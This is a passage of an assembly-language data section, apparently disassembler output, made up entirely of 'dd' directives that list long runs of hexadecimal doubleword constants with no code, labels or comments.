		dd 3501CF43h, 99A198D3h, 8CDCA441h, 0B45803A7h,	0CA6FB7AFh
		dd 3902CEC8h, 7700ACECh, 0BDF49C51h, 0B0B61A07h, 63048D3Dh
		dd 4829964Eh, 0CEC3044Fh, 6C3BE109h, 0A6EAAE00h, 1AA3F22h
		dd 0A55EC452h, 0D0511A12h, 39CC957Ah, 61BB08A0h, 0A2BE38D6h
		dd 182056F5h, 0C3E8DD00h, 7B905C97h, 99A4669Bh,	50CA09A6h
		dd 0DC0A18A9h, 34204C09h, 0C0C79D0h, 3907C374h,	10C1D892h
		dd 0FC2934D1h, 10A25019h, 0FA6053F9h, 4102968h,	0C1C009C7h
		dd 66255EA0h, 0C9C68964h, 0F809EC65h, 157A2030h, 1670CE4Eh
		dd 148A0C94h, 0D0193E14h, 8ACF997Bh, 24FD3D20h,	501C114Dh
		dd 4D60E25h, 1FFF766Ch,	0C7ADC5FBh, 60EC32A8h, 0DB989200h
		dd 0D094F8C9h, 0BB9FC08h, 627FEB04h, 0B10D112Ah, 0FBCCB490h
		dd 0B9F9900Eh, 7154C7E7h, 4927016Eh, 80109579h,	18047D76h
		dd 944BB935h, 56203847h, 0DE6338BFh, 4848B151h,	0D8187171h
		dd 22254826h, 69C5B400h, 1CD09F3Dh, 0A7BD0C3Fh,	17600A08h
		dd 0DAA25D06h, 0B010F6A3h, 2A3E000Eh, 7B0818B6h, 69C19770h
		dd 673DB45Fh, 57EF4883h, 2CA8CD8Bh, 271F6C66h, 28DC09A3h
		dd 8E03F700h, 4898BB9h,	0ECD160FBh, 0A8E09693h,	94E51E0Ch
		dd 3C4F0897h, 62065BB3h, 0C150B19Ch, 0F6E148C6h, 9940008h
		dd 1D9EB9DFh, 2B5CB76Eh, 2AEA6341h, 1C90F83Ch, 6F78ECh
		dd 9607A21Dh, 0E65302A6h, 0E9A0EB0Dh, 55F0D97Ah, 0CEAD2AAFh
		dd 42580CB0h, 9EE82EC3h, 0DB01B100h, 9AB37DECh,	0B789C03Ch
		dd 4DAE240Dh, 12B69407h, 0A7E0082Dh, 1E714C20h,	11AB94Bh
		dd 80D6B722h, 2078EF49h, 12878301h, 0F6CE0C27h,	0BBC0D7D3h
		dd 371CA0h, 50389D2h, 6AC4871h,	769930C1h, 8802511h, 0DF662E8Ch
		dd 0B7FC2330h, 320B61Fh, 0EF0052DEh, 55DE56AFh,	212E6098h
		dd 4C02DDEEh, 804FD9EBh, 360664A1h, 0E81F1BCCh,	7BB33EFh
		dd 89D81068h, 403A50Ah,	0DEDFE13Eh, 4F502064h, 424C0300h
		dd 52802CAh, 100C60CCh,	0A35839DCh, 0D191CB03h,	0CFDA4F8h
		dd 1BD5EFB8h, 0E1070C58h, 40DD3825h, 730324A3h,	65690070h
		dd 508F527Ch
		dd 0FD1C70DFh, 0D8801BB6h, 2010554h, 0D0071F36h, 0A9FBABCh
		dd 85FBCFD2h, 0D9202600h, 84704A9Bh, 0B810E47Fh, 0D0AE997h
		dd 1A45FE2h, 19715193h,	0ADDC821h, 84036690h, 4CDC77B8h
		dd 0BC4AC00Ch, 34E70E85h, 1BC0CB42h, 8DFEDE37h,	67081202h
		dd 83EC9D53h, 32BB8A0h,	0D2DF4FB9h, 1028276Fh, 29209063h
		dd 0C87142Dh, 0B7189422h, 9CA2317Ah, 0D13B1905h, 88115E6Eh
		dd 0BC8A17D8h, 0EE0AB61Dh, 40508C8Eh, 70E98164h, 8CA18373h
		dd 0E2A850EEh, 81DFAB6Ah, 5212A09Dh, 123D180Fh,	55D33071h
		dd 158829A2h, 4CFE4304h, 552A0620h, 0DB676046h,	74844F1h
		dd 108608D1h, 0FE49AA53h, 9BF4D300h, 1B8277D8h,	6740CC12h
		dd 0BE38DFD9h, 6291038Ah, 3018A0ECh, 0FD291A91h, 0A680232Ch
		dd 4941308Ah, 0B6378739h, 3B788890h, 8A6758A8h,	4B1F9E74h
		dd 482A68B8h, 0D20C620Ah, 4928F05Ch, 0E690E23Dh, 0EC80D758h
		dd 0B020D827h, 6331E019h, 0CFDB60F5h, 36C0B821h, 4F18028Eh
		dd 0C4CDDFD9h, 2E9D94A0h, 0A92A4ABCh, 0DC028045h, 497E5A9Bh
		dd 30B09840h, 0D2828124h, 181A880Ch, 0A9B61E6Dh, 4300D9B0h
		dd 0DD4F88B5h, 774E6A6h, 980A3735h, 5B76A1D0h, 6E38206Ah
		dd 9FC0F554h, 5F107565h, 77DA8C21h, 4C2E8420h, 65802031h
		dd 0D9C88C8Dh, 98126A2Ah, 0FD88FE07h, 1A80384Dh, 890516h
		dd 2E5A194Fh, 4B8C126Fh, 0CC7748h, 853892FBh, 3B96A4FFh
		dd 0ED782A9Fh, 62E503E0h, 20ABC6AEh, 2DA500E0h,	0FCC2F200h
		dd 68DA5C87h, 1FF1009Ch, 78A90CB4h, 92018E62h, 8B61F65Fh
		dd 51D024B0h, 0BFAD0087h, 6A255533h, 60030E6h, 0FEA9FBE4h
		dd 1215C47h, 40ACBE2h, 8D32672Bh, 20E63B08h, 1A21DE80h
		dd 7B59BAC4h, 893A6400h, 68ADEAA6h, 86321E79h, 0B5BEC05Eh
		dd 7B01C62h, 0E7FE2701h, 4DBA80Dh, 1B0069BCh, 0B1886E95h
		dd 0E80EC67Dh, 86BFAF66h, 20A822h, 0DD6B3D34h, 0FCAD929Fh
		dd 9438FA62h, 5AA18374h, 0FB491FF7h, 1E77013Bh,	0E0E80361h
		dd 0A577DC49h, 48E68706h, 0EC09E4F5h, 0E920C004h, 9EEDA5EEh
		dd 80B20900h, 39BDADF7h, 6B8400E4h, 0FA49A4DBh,	333F8840h
		dd 2F76812Dh, 190CA1E8h, 0A53FC1D7h, 8534B8DBh,	70FF00FCh
		dd 5E1F17E5h, 8A00BCB0h, 0D67B5894h, 19F52Fh, 0F9A256E1h
		dd 0DC368343h, 3F15FC00h, 3576DF97h, 3A3C0059h,	5E0AEDFFh
		dd 0BB0026AFh, 0F8A16193h, 0F2E29D9h, 305A7428h, 0B65721C0h
		dd 5974F2FAh, 0DE817700h, 0D6E531F9h, 601E07CAh, 808575EAh
		dd 0AE158FEh, 0D51AA901h, 0BB23215Dh, 930923EBh, 0C8BDE05Dh
		dd 0D687280Fh, 0B410EA01h, 5E8F2782h, 0C9571880h, 0BB5392F8h
		dd 0C11A6400h, 2FDF5528h, 26610004h, 0DE4A7233h, 0F66418C0h
		dd 0F520E029h, 0F78003E1h, 0CC4F8873h, 0BB4E8104h, 0BA4229ECh
		dd 8B050108h, 6F802803h, 282811EBh, 0D669081Bh,	82AF1007h
		dd 5E60D90h, 0B0280FF4h, 943A1D9h, 299011F1h, 0D2599CF0h
		dd 7708C751h, 107E9520h, 3BCC14FCh, 9B8170C8h, 88ED8B08h
		dd 1C3829h, 714D0DCDh, 0FC0035C1h, 4B9C4A08h, 1F6F917h
		dd 588A37BBh, 0E88869E7h, 8C0EBE26h, 600A4522h,	556A3840h
		dd 0A24C00E0h, 0C12B3088h, 7E00A0C0h, 3DFF5671h, 0E450F73h
		dd 9979B4B8h, 23630D40h, 0AF0003FDh, 0F6D9979Eh, 0E6BF7D7h
		dd 0E3150AE4h, 78BF1CE1h, 3CB6C04Ah, 431E4000h,	29EE5666h
		dd 175400F3h, 0D30E2576h, 0F8A02318h, 7F007365h, 7A090896h
		dd 0FBB3CE5h, 0FC5619C5h, 5ACC2960h, 3A034EDDh,	1AFB3F71h
		dd 0A033E043h, 7C01000Eh, 4F7690CBh, 3EFA3174h,	0D8FC5B00h
		dd 0A21B22D6h, 2D59892h, 0B10BD799h, 0A180FF8Dh, 0B9D5AFBDh
		dd 0E385DB0Eh, 63972094h, 12FF506Fh, 0A8B7F9Ch,	80AA50h
		dd 8A1BEF5Eh, 0B00514Ah, 0D018F85Bh, 0CCFC98h, 8563D6FAh
		dd 143169A5h, 7AD8E101h, 581D4E08h, 0D0172180h,	28801B51h
		dd 0A49839h, 5DF30D47h,	59C866h, 87EB03D7h, 0FCE00A6Ah
		dd 3486451Ch, 3D58F740h, 2C7D04h, 0BC7B6792h, 6EF3F64Bh
		dd 207C073h, 0A029BDF2h, 8F42E8B0h, 92CF0081h, 88AA34CEh
		dd 190023ACh, 6394D47Bh, 1CA62129h, 403562F8h, 172DB379h
		dd 0BC0910ABh, 77A99B05h, 0FCC4681h, 0B125F4EFh, 47EA4207h
		dd 0E8C0E2AFh, 3F2B8574h, 96001421h, 9C1F2AA4h,	0C004EA5Fh
		dd 0DA5B80E2h, 0F9934980h, 6D6C005Ch, 0F57C1F13h, 1C0E32ADh
		dd 80D0B201h, 0E06BC40Fh, 7AA478DEh, 0F0BE5F2Dh, 0D91C7309h
		dd 4A808579h, 28A24615h, 63DD008Dh, 6AC35CECh, 8800DB75h
		dd 4D87BC57h, 32A2DAh, 0CB5667FDh, 1EE09017h, 794C8C00h
		dd 5B237C3Ch, 0C3373987h, 32D713h, 0A2D25E38h, 86014B83h
		dd 0E9775159h, 0B6801AD4h, 6CEC6D23h, 0BE0F767Eh, 604D1F1Bh
		dd 4AA2CF5Bh, 0ADB21EDCh, 67F806Dh, 3703C80Ah, 1945400h
		dd 0F6F34F57h, 120B00BAh, 3B6C8A5Bh, 0FEF68D56h, 76B6E800h
		dd 0FBAA835Fh, 0D32900DDh, 778F0F84h, 52004C32h, 0E4CC2E33h
		dd 0EC28159Eh, 793E0044h, 39D384F1h, 400060A8h,	786C5466h
		dd 0E9BEFBh, 7D3868F9h,	2D8C27BFh, 0E0676B34h, 0CD52B300h
		dd 7E1D4Fh, 957BF134h, 170BF4FDh, 469EF600h, 428A31C2h
		dd 78FC00D7h, 5B60CECh,	0ECA81628h, 931DE3C2h, 300007E0h
		dd 0D7CD734Fh, 0BEB000E7h, 14391D02h, 77009883h, 816C03C9h
		dd 0F68870h, 0ED32D307h, 0C3443AB0h, 8AA8F100h,	0C7718FC6h
		dd 0F4F30FBEh, 5E4E51F7h, 0FACBEE61h, 1CC2C0ADh, 66F3400h
		dd 455A3D17h, 912802D8h, 6E4AA1AAh, 30AB0843h, 3CF80EEBh
		dd 0E70F0DB7h, 0DC2FB3E0h, 0EE4128C0h, 9B98A0h,	0EC3317E6h
		dd 42446B2Eh, 6245EB00h, 0B5D55637h, 4C983805h,	0B8F67880h
		dd 55B0BBA4h, 8FFCAF03h, 0E0208C0Eh, 96DFD3h, 372F712Ah
		dd 0C38A629Dh, 8097BF39h, 0F12990B6h, 53CFB2h, 3FA063EAh
		dd 0E9DDA22Eh, 228F7200h, 3EAF0E8Dh, 0BA1C00F7h, 533DF5C4h
		dd 6400E17Bh, 28377C46h, 195EF61h, 0ED4C7E15h, 207B76ABh
		dd 0DD004BB8h, 0A067205Fh, 0ECC269Eh, 0C6E29FACh, 6081BB27h
		dd 1E6E8C13h, 0BE9E9700h, 552AB7F1h, 793001Dh, 0C90B567Fh
		dd 5C98101Fh, 1ED04950h, 8DF73600h, 0FBEC0D3h, 0EA7B3EBDh
		dd 191F2802h, 89895950h, 0C72AB400h, 0D60EE1F0h, 0E0884AE6h
		dd 0C0BE9165h, 7F5B55h,	49C3B91Dh, 50BCC48h, 1CAB0h, 0B4B597DBh
		dd 0CE607C4h, 0D011B7FDh, 57A465Dh, 0A004FECh, 435F4948h
		dd 3BBB2792h, 0DCC89771h, 0C83BB14Eh, 0CF00F45Eh, 4638A1D8h
		dd 1EA5F98Bh, 59E50141h, 0DCE9619Ah, 0F1738439h, 0FE0E6407h
		dd 8191C689h, 8A6007E8h, 0AD5E004Dh, 8AE3D955h,	5300F587h
		dd 46F11992h, 0EE7508F0h, 1B020269h, 9E254534h,	91C7F460h
		dd 7BC04600h, 9DD181E2h, 2B29006Bh, 974E22BDh, 0EE0010DDh
		dd 0E183F6BEh, 1E7A395Bh, 8455C633h, 80711752h,	5690A4B4h
		dd 25FD3101h, 0B20A1AE8h, 9935A0D0h, 5F930078h,	4EB629D6h
		dd 2C80E100h, 9C06EB6Dh, 0F1210BD7h, 0DC00F8B8h, 0CB09371h
		dd 0EE73B20Eh, 8CC03F2Bh, 4715802Eh, 0BDD400AEh, 56E65EDDh
		dd 4201CA7Bh, 855177E0h, 0CCDC0D1Ah, 5FD4005Ch,	0F06E9E1h
		dd 3D02AE7Eh, 34E3F9FCh, 0A0888EB8h, 7CDDCFA5h,	0AF3800E1h
		dd 81E4060Bh, 0EC03B454h, 0DB874786h, 0D94DE865h, 0FBC30019h
		dd 6CC20EE0h, 452C9D18h, 3800F4ECh, 0BB251BC6h,	0F0A40083h
		dd 4B908033h
		dd 24003DA0h, 79716AE1h, 703E01h, 43F47721h, 52C83F95h
		dd 0D3574F00h, 0CC3AA62Eh, 0E89D00AAh, 0FF2D0359h, 0B300DE8Fh
		dd 647D9B41h, 3D4D30CEh, 0D6804FB9h, 0B865BAB2h, 0CC009F63h
		dd 0D97126D2h, 192B33Dh, 2B3E8D6Ah, 0CD8CDA7Eh,	0FB25D499h
		dd 3359D600h, 0C1DB6342h, 0E67F4CF5h, 9B6F3B7Ch, 0CB996080h
		dd 4C1EA220h, 0F25D7A05h, 0E08085AAh, 7D43A9h, 0D4A5C5C7h
		dd 21C1CC32h, 0D2E53900h, 0D86AD7BCh, 7AD03DEDh, 0EF8CCE80h
		dd 0A02A1E5Fh, 0F2A6DA00h, 0DC038638h, 8ECD006Fh, 27C6773Eh
		dd 0D007256h, 0ABADEA85h, 0F9DDF0h, 8FCB15C2h, 0AA713640h
		dd 954F5Ch, 0C6C39BF6h,	0F84438h, 86BFCDE6h, 499C16AFh
		dd 5792E500h, 7FDF3A69h, 91DA00CBh, 0CEDBF8AEh,	0C23D162Eh
		dd 8D8650F3h, 2C04B000h, 0EB81A342h, 6ABB0EEEh,	0BF60AD92h
		dd 748B6359h, 7500B9F8h, 0F94B7DCh, 0E0A4A1Ch, 3AEA4302h
		dd 0BBE059A0h, 0E73EBFC2h, 621E008Ch, 0E9DA4B76h, 730800D3h
		dd 392F3E37h, 5900225Ah, 386D9575h, 1D83AE30h, 0C35FF57Fh
		dd 0D53A5526h, 50F88EC3h, 0F600B527h, 0D39DA2F4h, 0A73635h
		dd 28D79141h, 22A8C43Fh, 4595D200h, 6AFC9659h, 0EF4D0050h
		dd 0FBE0A511h, 0B63D9C99h, 0C4B00026h, 623A72C7h, 850E1C69h
		dd 0BA95C0F1h, 497F1B91h, 0ACFB6100h, 6930518h,	0E970F10h
		dd 0C380AB89h, 0A3AD79A7h, 0F66A2F09h, 42080038h, 19EC70h
		dd 0B844DAE2h, 0F11BBA9h, 6E041A07h, 0EBB097DEh, 122CA141h
		dd 0E472D8h, 0AB458D4Bh, 0FA00B9C7h, 116043DEh,	7201399h
		dd 0C701B09h, 9A5E10EDh, 33D176Ch, 0F0DA3095h, 7860FEACh
		dd 8CA900E2h, 54384084h, 0DA005A7Fh, 3185BD67h,	9BA1BDBh
		dd 529B16A3h, 0CA3C0883h, 4BE0F4FAh, 5E587C2Ch,	0C2120039h
		dd 0C5D632B8h, 6E180716h, 20461B4Ch, 8A2D4E75h,	7104FA03h
		dd 0F8A5F6E4h, 9DC325h,	30C5CD7Ah, 0F377EF15h, 0C900D7F4h
		dd 0B3E8D18Fh, 0F4C4A14h, 0A3F1DFFDh, 0D067CE47h, 9D399D7h
		dd 53C8FF00h, 68797B93h, 2A5D3882h, 0F9443014h,	0EF2E0600h
		dd 0F120C205h, 4194FC01h, 192A84C7h, 0E670BECh,	2CEEFD7Fh
		dd 0A6989AC0h, 8CA992BAh, 8E48001Bh, 0B22F0503h, 85A30Ah
		dd 0EF4C30BAh, 533A35C9h, 0CDA4803Ch, 8B99A949h, 0EA27075Fh
		dd 200F20DFh, 6778CA0Eh, 0D83B500Eh, 7BFCA0C5h,	650652h
		dd 2C56921Fh, 0F82AC7D6h, 0B9B77F00h, 2EBBD11Ah, 67CD07BCh
		dd 3076C663h, 0D0463C90h, 0A4340D1Eh, 135EC380h, 3BCE260Eh
		dd 0ED006ADCh, 82221C03h, 12006C85h, 4050DE08h,	7332CC9h
		dd 45F02884h, 40E6B66h,	9E819FA0h, 2224E62Ah, 0CE014E2Dh
		dd 647CE5CCh, 7AC63AD8h, 6B12C0F6h, 1FDF5822h, 7D79EE00h
		dd 1D19A008h, 3F4000F8h, 0BF53C2B4h, 0FC00BAC9h, 3BC5AD46h
		dd 0E1E9322h, 0BE75C09Ch, 73549123h, 430BF698h,	0A9ECB700h
		dd 20C8B30Dh, 0F9520003h, 120972AEh, 0A2003C65h, 0CF7A2DE7h
		dd 56B8B2Ah, 66FCB024h,	0D3FBC0F7h, 7B90D1AFh, 0BF473400h
		dd 0B54C01E1h, 0F8A60062h, 0F2B5A3Ch, 0FFE0A9ABh, 0C30722F4h
		dd 0E9289C86h, 413E8B77h, 0D9472415h, 0F2AF440h, 73C301FAh
		dd 0AA31BEB5h, 5390606Bh, 0DDC94600h, 57DA14A9h, 7E8C980Ch
		dd 5A6500B9h, 735C2494h, 0D6003D4Fh, 70E0FFFAh,	5E3016h
		dd 0EC82EAFh, 5808AEA7h, 74787878h, 4EFF0713h, 216E9300h
		dd 9B5598h, 7E96DA89h, 0B4A8CA95h, 40166724h, 0A644BC00h
		dd 0F0795EDBh, 7BD602F7h, 0BE424813h, 0B5FA2440h, 0A8F5358h
		dd 0E42885F4h, 0C1DF1182h, 266820E0h, 0E300FEC9h, 13D1E19Ah
		dd 0F08BFADh, 9954D71Fh, 5075BC40h, 9A013DB2h, 0DAB03904h
		dd 97F4055Dh, 0D3663A59h, 61C0DB80h, 70FAB2D9h,	0F0CE1704h
		dd 37F003C6h, 64920041h, 945E5AACh, 0AF008723h,	0AAFA936Bh
		dd 7268108Eh, 0BF19831h, 0CFF27EB0h, 85E4EE83h,	7DEB2809h
		dd 0CA030467h, 0E7A69F80h, 42E5050Fh, 13871660h, 21F107D0h
		dd 70F14091h, 9070D1Ch,	0E3FA29D5h, 0F81B7BC1h,	7B63FF0h
		dd 9944F147h, 8E005F0Fh, 2220AD1Ah, 0EFF8A11Ch,	66983980h
		dd 0C80027Ch, 0CA40B114h, 61003E38h, 0E157F46Ah, 7770ECh
		dd 391D2C12h, 42D4D7Ch,	0EFCE3F00h, 0A6E230C3h,	6CC0050h
		dd 25ED4947h, 77005CD3h, 0DD79A837h, 514A40h, 0BA568D80h
		dd 9E0820ABh, 0F91224B2h, 0BE018871h, 0EEE73313h, 0C7C6E8h
		dd 77C96E25h, 0F4B483ADh, 31307000h, 0F7E78BA4h, 91BD009Dh
		dd 1D537B19h, 6200D1EAh, 25120D3Eh, 727CC7FAh, 0A9CD00B3h
		dd 1BB6336Bh, 0CC629DF2h, 0C0DFC910h, 0C0CA750Bh, 6D496FC0h
		dd 6907E3E6h, 5D483889h, 0E21DE85Ah, 1C7F6280h,	111521h
		dd 758A055Ch, 0D761263Ch, 80C08F00h, 0E07C2579h, 1F997C9Dh
		dd 892B81CAh, 0A8803D76h, 91F5E209h, 0BA3258h, 35A7D89Dh
		dd 0C93C3F0h, 76BCAAE9h, 0DD027228h, 0D79ED2D1h, 53B84130h
		dd 65C7D8DBh, 644B004Dh, 0B7C0DC10h, 422CA138h,	0D0346A6Ah
		dd 89CB41C0h, 453B0FC7h, 0B740362Eh, 0A1758015h, 5C02D577h
		dd 16311D8h, 0BDC660DEh, 148C00A4h, 35C81D43h, 30F7F422h
		dd 7E1DEC78h, 80805A8Fh, 4589EB2h, 402A0207h, 17DAEE18h
		dd 11842C40h, 0A8DFDE3Ch, 0AB74B837h, 2C4CDB48h, 41509C35h
		dd 0DA223F5Eh, 0CF2C1C01h, 0D8635267h, 0F907ED99h, 2E9FDBDEh
		dd 836E27E0h, 23EF0E12h, 4B606174h, 0E019722Fh,	39BF5712h
		dd 0D6C77C40h, 7BB01D8Ch, 15A60FA4h, 0E78024B7h, 638E2576h
		dd 1E263CFAh, 811E6CA9h, 13447843h, 0D5F4E98Dh,	3017F8DCh
		dd 1F40A9A3h, 0E3263688h, 57079A6Bh, 687C15FBh,	0B4C300F7h
		dd 0A6AED862h, 0DBF060A1h, 6CE24800h, 0FADD7749h, 2A54260Fh
		dd 0D7FC007Ah, 7DAC893Fh, 0EFFAE4FAh, 5E356304h, 0A0C8D28Dh
		dd 74910049h, 0FD3B421Eh, 2207D703h, 0A89F70F9h, 9A739940h
		dd 9BE5026Bh, 74C94D3Fh, 32E8E7E3h, 304851F0h, 62FC0F40h
		dd 1753A3CEh, 0DD77CFDBh, 0DA21B810h, 0FB2A007Fh, 96B3BF4Bh
		dd 200C6C4h, 15D8E11Ah,	0CFEA7Ah, 12916194h, 96417420h
		dd 0DE139877h, 0B0002977h, 4A16540Ch, 1A89930h,	0D1F946CEh
		dd 0F697D883h, 7D03DA01h, 39BEB951h, 0EDC5DE0h,	10F5AE95h
		dd 3C7CC40h, 56031955h,	0A5720B6Ah, 38BFF804h, 9B457B0Ch
		dd 0F45F00B0h, 43885B92h, 0CE4D360Fh, 23E4C709h, 0F80EFB23h
		dd 499E47h, 2E1AEF55h, 0BFC73210h, 0A0C34224h, 0E4577203h
		dd 76F98DFh, 90545067h,	1726386Ah, 0EA14F107h, 8F2720B1h
		dd 0F0FC86A3h, 680DF800h, 0FD63F46Ch, 3B400E8h,	73F352F6h
		dd 910EEBC0h, 8DAD1Dh, 515722C2h, 7FB878h, 7F704DC3h, 6C73D444h
		dd 27E00F00h, 43F403B5h, 0D19059Ah, 0C0FE74FDh,	0E18FF8D4h
		dd 8323990Eh, 699CA24Bh, 0AD8980D8h, 58DED06Bh,	4E00DC7Ah
		dd 40ED319Ah, 5A6298C0h, 0E06720C0h, 0EB8731h, 0C31E0C2h
		dd 22EC26C7h, 0B0C42300h, 4B6495BBh, 28242862h,	67D803DCh
		dd 2093EF41h, 54A7BB0h,	1F148B03h, 0B0371763h, 0DACD4Fh
		dd 0AC72B88Ch, 79A77A2Ah, 9B104300h, 0BFB3E3D9h, 578C01A2h
		dd 0A5E5BE76h, 5C8C602Dh, 55F1D017h, 6E1C5400h,	484910E6h
		dd 51E6832h, 256143ECh,	31D8FB15h, 8B73D4B8h, 760023B0h
		dd 3881060Eh, 3F7D1B56h, 6228AA66h, 4CF300FCh, 21526BCEh
		dd 3400C7C9h, 872F868Eh, 1E2B3B5h, 5E91D39h, 60D5CA65h
		dd 76EC0490h
		dd 0C97AA90Ah, 0C7019458h, 78EDE0CEh, 0C0E05BC9h, 0DE52010Ah
		dd 0F393BD68h, 0E03421C7h, 0A11E484Bh, 0BFC08C8Bh, 0CF85A9E3h
		dd 2C3F00E7h, 83BE3564h, 9800D4FFh, 0E6158D4Bh,	14768A78h
		dd 0D8C2ADA1h, 96267900h, 739DE963h, 3D7CFA16h,	0CC58E10Ah
		dd 15E12700h, 2B438B2h,	0DF73E595h, 54002D5Fh, 1382EF9Fh
		dd 127F77h, 71CEB768h, 5D0EC179h, 183FEF8h, 378D9A2h, 0EBADDF0h
		dd 58574EA6h, 0F3152E40h, 0E1010A02h, 0FA43B393h, 0A820063Bh
		dd 0BD5413A0h, 32782024h, 8B00A9F8h, 2AF02277h,	3150D6h
		dd 745C2CFCh, 16797D06h, 2D138C07h, 661029F5h, 19A080Fh
		dd 0D321048Bh, 40CF9502h, 1834C6FEh, 0AB077DF2h, 0BAF5D874h
		dd 0A8C02524h, 1DBC7CEAh, 5C310BD5h, 36EC583h, 24A480E2h
		dd 9400AB36h, 9D4BA2C8h, 0EC09E9h, 8C358AE8h, 28B5A9DCh
		dd 4254FD01h, 7C06DE15h, 0C52740FEh, 0CC1C038Fh, 0EFAC2710h
		dd 2D2BAF0h, 2EBB9B01h,	7A50CD6Eh, 240E0472h, 78CA939Fh
		dd 0FA2CFCh, 0CA47F619h, 4B004988h, 0A3EE4F0h, 51F2AC85h
		dd 46E5ACC9h, 79B7FECh,	57845EE9h, 0D2CA50EFh, 0C04CBAE6h
		dd 0FD73B28h, 8E36936Ch, 0B978037h, 19EA4292h, 5E5C9430h
		dd 3080617Eh, 0F900C758h, 90AD74CDh, 729E796h, 30DCD10Ch
		dd 0E945E012h, 7200E001h, 0F127C0D9h, 123A5CFDh, 14AA5BFh
		dd 7D2CED60h, 2B04306Bh, 0F1D8F01h, 50E5AFCFh, 73602C20h
		dd 7E7F172Fh, 16101344h, 1600AAA5h, 0D1ECE4C4h,	0C2560149h
		dd 74066E21h, 87B1C45Eh, 9F2C8300h, 0B07DFBFDh,	0B8598C8h
		dd 48EF33C7h, 80A778A5h, 0CB300D94h, 0DB7B3Fh, 582723F6h
		dd 0F2B08582h, 80089439h, 0D2785F2Bh, 160053C8h, 0BE4C50A8h
		dd 7658491h, 0D5A569DAh, 0C0D01D21h, 190020C5h,	9A3C8A6Eh
		dd 4F8BB684h, 3A0E8B7h,	361DC272h, 220EA145h, 748E4h, 91D0B55Ch
		dd 0B75F83DFh, 0D1D79A00h, 1884A33h, 0F5FA0085h, 184DA37Bh
		dd 0C5006F50h, 0DDF679B2h, 0F3647330h, 4C78CF8h, 0F1BCCFC6h
		dd 0CA0C806Eh, 1E04FAD1h, 72133F4Dh, 0A45943C0h, 73F53F05h
		dd 8C80F43Ch, 0CE3AAC19h, 3F07D4AAh, 251F9218h,	23661A60h
		dd 0D7740030h, 4E11A4F6h, 35018793h, 0B8F33945h, 65C8D0BAh
		dd 1BEEA53h, 18A904F7h,	6048BC9Eh, 0E0001AC6h, 81E16456h
		dd 1E1F2725h, 80576F4Dh, 4D11D71h, 90E8100Ch, 0B3EB9200h
		dd 91F8A1FDh, 0DC260083h, 0FACABE17h, 8CA093E7h, 0A5004939h
		dd 0A7CD9AFh, 88BACBh, 139C3816h, 36F7375Ch, 4B434703h
		dd 0D0728FA8h, 0F912F76h, 0F9A34D9Ah, 0ADA142CFh, 7004D62Eh
		dd 0BE00E382h, 88DFF5C1h, 27AAEBh, 0AE2A55C5h, 328D78BCh
		dd 40953Bh, 5C317DF6h, 199B9D6h, 1CD18B48h, 0C8183966h
		dd 0DC077F43h, 0CDBDA957h, 0B0E45EE0h, 0D34D1DBEh, 8DB88E8Ch
		dd 605BC8A3h, 7DA4EEC0h, 8A5F3500h, 5CA7DB9Ch, 81360725h
		dd 0F0DE8872h, 271E3321h, 731F4100h, 5BC32B45h,	88A0034h
		dd 0B5CFFA70h, 7F030BF5h, 2ED1A150h, 0A5F6809Ah, 0D4EAAAh
		dd 0B4326989h, 0AE3C1811h, 3B022B00h, 8C01E5DEh, 873F0072h
		dd 19BAED2Eh, 0FE002F69h, 8A80185Ch, 4099527h, 16BF5956h
		dd 0BA61C02Dh, 9314B558h, 9CAC71ABh, 7B1C5039h,	570A88h
		dd 7DA7A344h, 0D3ED0FFBh, 0AEAA0700h, 503E8BF8h, 65CE0010h
		dd 0CD2BF3DDh, 69FC2FE6h, 280010D3h, 5B43F681h,	0D9050072h
		dd 605C89BBh, 7413DA1Fh, 0C601F54Dh, 8B781E25h,	8D517080h
		dd 0BCEF8401h, 13D5F3Eh, 0AB8EFFFDh, 0E88330A9h, 9359285Ch
		dd 0BFA1BE01h, 109644D0h, 0C083C9F1h, 0DF4EA348h, 53B02BDBh
		dd 643A5E28h, 4D988316h, 0F83F8405h, 0F8A8F373h, 0AFEC0036h
		dd 2F2B2159h, 0FF003E1Dh, 0C9480BEDh, 1D6109B2h, 0EE2AD56Bh
		dd 84860F9Bh, 0AB02ABD2h, 0C039FB41h, 96EEF53h,	0A19DAD8Fh
		dd 0DDD0B301h, 0A509DC68h, 78CA4C03h, 539CE5Ch,	0C39B2DE0h
		dd 0B5F8C1AFh, 0F1A5D075h, 81E95700h, 4C7D27DFh, 0A608006Ch
		dd 0B277DAB8h, 0B61C9A01h, 0CC4F44AEh, 78AFC06Dh, 3B7307B7h
		dd 4C801CF6h, 307AA897h, 3300EC32h, 0EDE65F37h,	0F97239h
		dd 0F65DAB9Fh, 0D899096Fh, 0F14A511Dh, 0E020D600h, 413C6Bh
		dd 7EC5E15Dh, 37F6E5BFh, 0C3827427h, 0E719A8B5h, 90C2028Ch
		dd 22324A68h, 8BA021E3h, 0A207DE66h, 12BA485Fh,	0B790FA57h
		dd 3D0A4BFDh, 540392DAh, 75B6F341h, 716F3190h, 0C7E0AA00h
		dd 0A7B9DBE2h, 633A0753h, 607EBD5Eh, 0DFA1BF48h, 0B5189400h
		dd 0BB504D03h, 0BC1C00AEh, 19CBFA0Ch, 97362B7h,	7241EF00h
		dd 0A4A51E66h, 0DF900Ah, 1A79A88Ch, 19071BADh, 678C01Ch
		dd 0B100946Ah, 35D699AEh, 0F2BBC37Ch, 592F0EE4h, 72E0FB12h
		dd 26543A5Bh, 0F3144400h, 75EA2381h, 49793924h,	0A808DE80h
		dd 6C31542Ah, 0B23C8672h, 3D7B00FDh, 0DCD4B751h, 286907FCh
		dd 80D3D6CCh, 0BB4E473Ah, 4B3CC600h, 1D851B1Ah,	9D0E0059h
		dd 8EEFADDh, 28138288h,	5800BF27h, 16219B3h, 0AE8E6h, 355852EEh
		dd 0A0637267h, 0D0C9F500h, 82FED4Fh, 6BA40305h,	0C417AA20h
		dd 3C60FBD2h, 7200F971h, 6816639Dh, 2049F7Ch, 3281DA62h
		dd 9440CEDCh, 0F008D77h, 163B4341h, 774CB111h, 5CBC249Bh
		dd 604A0EEBh, 1090F020h, 98004EDFh, 0ED50C5B2h,	0E77EAAh
		dd 2248FAB0h, 0D7DD826Eh, 0EEC81A60h, 92FD117Fh, 0AB5700F0h
		dd 0E859BECBh, 0DA901992h, 1B2631FCh, 0A3802C76h, 0C7967385h
		dd 40F70032h, 0EEC4F3D9h, 150B4AC9h, 828CED25h,	602BE953h
		dd 71E1C88h, 5495F932h,	75E8C11Bh, 81FA2103h, 2399B640h
		dd 518001FCh, 0B9DC2958h, 13B8BA94h, 4B2E8000h,	78756A6Ch
